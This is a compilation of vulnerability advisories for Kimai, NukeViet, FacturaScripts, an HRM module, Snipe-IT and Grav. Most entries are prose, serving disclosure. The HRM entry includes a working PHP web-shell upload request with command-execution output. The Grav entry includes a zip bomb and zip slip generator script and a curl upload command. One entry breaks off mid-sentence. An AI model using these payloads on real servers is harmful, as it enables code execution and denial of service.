Kimai version prior to 2.57.0 contains an authenticated improper authorization vulnerability in the web rate editing endpoints for projects, customers, and activities. The flaw allows a user authorized to edit one parent object to manipulate rate records belonging to other unauthorized parent objects by exploiting missing parent-child consistency validation. This can lead to unauthorized modification of billing-related rate configurations across different teams or business domains.
Kimai contains an authenticated improper authorization vulnerability in its Team Member and Team Activity Assignment APIs. A Teamlead who can edit their own team can add users or activities outside their authorized scope via backend API calls, bypassing frontend restrictions. This occurs because the backend only checks if the user may edit the team, without verifying if the referenced user or activity is within the Teamlead's legitimate management scope. This can lead to unauthorized expansion of team membership and activity assignments beyond intended visibility.
The official Kimai Docker image shipped with a default APP_SECRET environment variable set to a known static value. This default secret was not overridden or validated at startup, allowing attackers to forge HMAC-signed cookies and login links. This enables unauthenticated attackers to take over any account, including super_admin, if they know the username and can guess the user ID, provided the account does not have active two-factor authentication. The issue affects Kimai versions prior to 2.58.0. The vendor has updated the entrypoint script to generate a random APP_SECRET at startup, removed the default static secret from the Dockerfile, and improved login link entropy to mitigate the risk.
Kimai 2.56.0 and earlier versions contain an authenticated cross-site request forgery (CSRF) vulnerability in the timesheet stop and restart API endpoints. The application exposes state-changing operations via GET requests, which should be read-only, allowing attackers to trick logged-in users into triggering unauthorized timesheet state changes. This can stop running timesheets or restart historical ones without user consent, potentially corrupting time tracking data and affecting billing or auditing processes. The issue is fixed by removing the GET routes and limiting these operations to PATCH requests only.
Kimai 2.56.0 and earlier contain an authorization bypass vulnerability in the timesheet restart and duplicate workflows. After a user loses access to a project, they can still create new timesheets under that project by restarting or duplicating historical entries. This occurs because the authorization logic trusts ownership of old timesheets more than current project access rights, allowing persistent write access despite revocation. The issue affects API endpoints and the web UI flows that reuse historical project and activity bindings. This can lead to unauthorized time entries that undermine access control and affect project tracking and reporting.
Kimai 2.56.0 and earlier contain an improper authorization vulnerability in the activity creation flow when using a preset project. Authenticated users with the generic create_activity permission can create activities under projects they are not authorized to access by directly using the preset project creation route. This allows unauthorized creation of child business objects under other teams' projects, potentially impacting project configurations and downstream business processes. The issue is fixed by adding explicit edit permission checks on the project and customer in the relevant controllers.
Kimai versions prior to 2.57.0 have a vulnerability in the Timesheet API PATCH and POST endpoints that allows authenticated users to assign their timesheets to projects outside their authorized teams. This occurs because the project ID submitted by the user bypasses team membership checks due to an unconditional OR condition in the query builder. Consequently, users can access project and customer metadata that should be restricted by team access controls.
Kimai versions prior to 2.57.0 contain an authorization bypass vulnerability in the GET /api/timesheets endpoint. A user with the ROLE_TEAMLEAD and the view_other_timesheet permission can retrieve timesheet records of other users without being the teamlead of the target user's team. This bypass occurs because the list endpoint does not enforce the teamlead check that the per-record endpoint enforces. As a result, sensitive financial data such as rate and internalRate, along with personal activity details, can be disclosed to unauthorized teamlead users.
Kimai version prior to 2.58.0 contains an authenticated cross-site request forgery (CSRF) vulnerability in default team creation endpoints accessed via GET requests. These endpoints allow unauthorized modification of team and permission structures by creating or reusing teams, assigning the victim user as teamlead, and binding projects, customers, or activities to those teams without explicit user consent. The vulnerability requires the victim to be logged in with permissions to manage the relevant object. The issue has been addressed by moving these routes to API POST endpoints.
FacturaScripts contains a critical authentication bypass vulnerability in its two-factor authentication (2FA) validation endpoint. The endpoint accepts unauthenticated POST requests with only a username and TOTP code, without verifying the user's password or requiring CSRF protection. It also lacks rate limiting, allowing brute force attacks against the 2FA codes. Due to an extended verification window, multiple valid codes exist simultaneously, making brute forcing feasible within minutes. Successful exploitation results in complete account takeover of any 2FA-enabled user, including administrators. The vulnerability affects versions prior to 2026.3 and has a CVSS 4.0 base score of 9.3 (critical).
NukeViet before version 4.6.00 contains a pre-authentication Server-Side Request Forgery (SSRF) vulnerability via the X-Forwarded-Host and X-Forwarded-Proto HTTP headers. An attacker can send a specially crafted POST request with the __serverInfoUpdate=1 parameter and spoof these headers to cause the server to issue a blind HEAD request to an attacker-controlled host. The vulnerability arises because the server uses these headers without proper validation to build a URL for a cURL request early in processing, before authentication. The SSRF is limited to a fixed request path and does not allow direct data exfiltration or internal remote code execution. However, it enables unauthenticated internal host and port discovery and poisoning of cached server headers.
NukeViet versions prior to 4.6.00 contain a path traversal vulnerability in the Edit Comment admin function that allows an authenticated administrator to delete arbitrary files within the application root. By injecting a crafted 'attach' parameter with a specific padding and traversal sequence, an attacker can cause deletion of critical files such as 'config.php', leading to application outage. The vulnerability arises from insufficient validation of the 'attach' parameter before file deletion. A fix has been implemented that validates the file path to ensure it remains within the intended upload directory.
NukeViet versions prior to 4.6.00 contain multiple filter bypasses in the News module's input sanitization, allowing authenticated users with news-posting permissions to inject stored cross-site scripting (XSS) payloads. The vulnerabilities arise from improper filtering of event handler attributes and incomplete decoding of HTML entities, enabling persistent JavaScript execution in any visitor's browser. This can lead to session hijacking, credential theft, and privilege escalation. A patch has been committed that properly strips control characters and decimal HTML entities to prevent these bypasses. No workarounds exist other than updating to the fixed version.
NukeViet CMS versions prior to 4.6.00 contain a stored cross-site scripting (XSS) vulnerability. A low-privileged authenticated user can inject JavaScript payloads into their profile's display name fields, which execute in the browsers of visitors who click the Reply link on that user's comment. The vulnerability arises from improper escaping of user input placed inside a JavaScript string literal within an HTML attribute, allowing execution of arbitrary scripts. This can lead to privilege escalation, credential phishing, and data exfiltration. The vulnerability affects the comment template's inline onclick handler and is exploitable under default configurations without CAPTCHA or moderation. No official patch is currently documented, but remediation involves removing the vulnerable inline handler or properly escaping the input with JSON encoding.
NukeViet versions prior to 4.6.00 contain a reflected cross-site scripting (XSS) vulnerability in the Comment module via the status_comment URL parameter. The parameter accepts base64-encoded HTML/JavaScript that is decoded server-side and rendered without escaping, allowing arbitrary script execution. Additionally, the anti-forgery token checkss is derived from a static site-wide value rather than a per-session value, making it reusable across users and enabling exploitation via crafted URLs without authentication. This vulnerability allows attackers to execute malicious scripts in victims' browsers within the site's origin, potentially capturing sensitive information such as credentials. The vulnerability has a high severity rating with a CVSS 3.1 base score of 8.2.
#### Summary
An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.
#### Details
The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:
```php
// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
```
There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.
Reachability of the written file:
- `company_path()` resolves under the web root; `config.default.php` sets
`$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.
- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`
only — it does **not** block `.php` and does **not** cover `company/`.
- The stored path is then echoed **unescaped** into a clickable "View" link
(`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),
handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).
A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`.
#### Proof of Concept
The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the
hidden `_token`, then submit. Against your **own** local instance:
```http
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b
--b
Content-Disposition: form-data; name="_token"
<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"
<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"
x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"
Save Document
--b--
```
Then request the stored file (its exact path is shown in the Documents tab's "View" link):
```http
GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1
```
The command in `c` executes on the server.
#### Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:
```
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>
```
Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.
#### Impact
Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privile
## Impact
The `update()` method in `UsersController` passes the `permission` request field unconditionally to `NormalizePermissionsPayloadAction`, which returns an empty array when the field is absent. The result is passed to `PreserveUnauthorizedPrivilegedPermissionsAction`, which selectively restores only the `superuser` key (when the editor is not a superuser) and the `admin` key (when the editor is neither admin nor superuser). All other permissions — including the `admin` flag itself when the editing user is an admin — are discarded and `$user->permissions` is overwritten with the sparse result.
The `canEditAuthFields` gate permits admins to update other non-superuser accounts (including other admins). When an admin sends a `PUT /users/{id}` request for another admin without including the `permission` field, the target's `admin` flag and all granular permissions are permanently destroyed. The target loses administrative access entirely with no error, warning, or out-of-band notification.
A secondary, lower-impact path exists for non-admin users holding the `users.edit` permission: they may target regular (non-admin, non-superuser) accounts and wipe all granular permissions in the same way.
### Patches
Patched in https://github.com/grokability/snipe-it/commit/1cff2d67aabd00ee51d864c1d7fb717494c1d6ad
### Summary
An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion.
### Details
The vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents.
Missing validation:
- ❌ No total uncompressed size check (decompression bomb — CWE-409)
- ❌ No entry count check (inode exhaustion)
- ❌ No directory nesting depth check (stack overflow in `Folder::doDelete()` — CWE-674)
The subsequent cleanup call `Folder::delete($destination)` at line 189 recursively deletes every subdirectory without depth limit (`Folder.php:531-547`). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.
The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for `../` in entry paths and does not add any size, count, or depth limits.
### PoC
1. Generate the malicious ZIP:
python3 cve_poc_grav_zip.py:
```python
#!/usr/bin/env python3
"""
CVE PoC — Grav CMS Installer::unZip()
Zip Bomb + Zip Slip + Deep Nesting
ZIP file to attach to the CVE advisory.
Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)
which has NO CVE — extracted size/depth/count have no limits.
"""
import zipfile, os, sys
OUT = "/tmp/cve_poc_grav.zip"
def build():
with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z:
# --- Zip Slip: arbitrary write outside target ---
z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n")
# --- Deep nesting: 100 levels → Folder::delete() has no depth limit ---
for i in range(100):
z.writestr(f"deep/{'x/' * i}.keep", "")
# --- Compression bomb: 100 identical files = ratio ~ 196:1 ---
for i in range(100):
z.writestr(f"bomb/{i}.dat", b"A" * 100_000)
with zipfile.ZipFile(OUT) as z:
infos = z.infolist()
compressed = os.path.getsize(OUT)
uncompressed = sum(e.file_size for e in infos)
slip = any(".." in e.filename for e in infos)
depths = [e.filename.count('/') for e in infos]
print("=" * 60)
print("CVE PoC — Grav CMS Installer::unZip()")
print("Zip Bomb | Zip Slip | Deep Nesting")
print("=" * 60)
print(f"File : {OUT}")
print(f"ZIP size : {compressed:,} B ({compressed/1024:.1f} KB)")
print(f"Uncompressed : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)")
print(f"Ratio : {uncompressed/compressed:.0f}:1")
print(f"Entries : {len(infos)}")
print(f"Max depth : {max(depths) if depths else 0}")
print(f"Zip Slip (../) : {'YES' if slip else 'NO'}")
print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall")
print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write")
if __name__ == "__main__":
build()
```
3. Authenticate as admin.super and retrieve the nonce from /admin
4. Upload through Direct Install:
```
curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \
-H 'Cookie: grav-admin=<SESSION>' \
-F 'admin-nonce=<NONCE>' \
-F 'uploaded_file=@/tmp/cve_poc_grav.zip'
```
Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion.
### Impact
An authenticated administrator (admin.super) can:
- Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs)
- Exhaust inodes via thousands of small files
- Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently
- Partially or fully deny service to all users (both authenticated and unauthenticated)
CVE-2026-53653 is a high-severity vulnerability in the Grav CMS that allows unauthenticated attackers to cause a denial of service by requesting image resizes with excessively large dimensions. The flaw arises because the system does not limit the size of image resize parameters, leading to excessive memory and CPU consumption. This can crash the server by exhausting resources. A patch is available that introduces configurable limits on image resize dimensions to prevent abuse.
### Summary
Kimai 2.56.0 contains a server-side request forgery vulnerability in its invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as `Customer.invoiceText`, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax.
This allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services.
### Details
The vulnerable behavior occurs in the invoice rendering chain when user-controlled Markdown is transformed into HTML and then rendered by mPDF.
- First, customer invoice text is copied into the invoice model.
. Second, the default PDF invoice template renders that field through the Markdown-to-HTML filter.
- Third, `md2html` enables full Markdown rendering.
- Although safe mode is enabled, the tested Markdown image syntax still survives into the rendered HTML chain in a form that causes the PDF renderer to fetch the image resource.
- Finally, the HTML is handed to mPDF.
The live test confirms that mPDF attempts to retrieve the remote image URL from the server side during PDF preview. This means the issue is not a template-injection problem but an SSRF condition caused by the rendering pipeline:
- attacker-controlled Markdown
- Markdown converted to HTML
- HTML rendered by mPDF
- mPDF fetches remote image resources from the server side
*A PoC was provided, but removed for security reasons.*
### Impact
This vulnerability allows an attacker who can influence invoice-rendered Markdown fields to cause the Kimai server to make outbound requests to arbitrary destinations. In real deployments, this can be used to probe internal services, test access to internal administrative or metadata endpoints, and confirm server-side reachability to attacker-controlled infrastructure.
Depending on the environment, SSRF can also become a stepping stone toward more serious outcomes, such as triggering side effects on internal HTTP services or extracting sensitive information from services reachable only by the server. Because invoice generation is commonly performed by administrative or finance-related users, the feature is realistically reachable in business workflows.
# Solution
- Kimai does not allow to use markdown images any longer and converts them to HTML links instead
- Kimai uses a specialized HttpClient for mPDF (called `NoPrivateNetworkHttpClient`), which prevents access to a variety of URLs, the full list can be fetched [from the documentation](https://www.kimai.org/documentation/pdf-templates.html#embedding-images)
- This change can be a BC break, if someone used
- the Kimai domain for hosting invoice or export template images
- an internal IP for hosting invoice or export template images
See https://www.kimai.org/en/security/ghsa-pj8j-p4g4-4vw8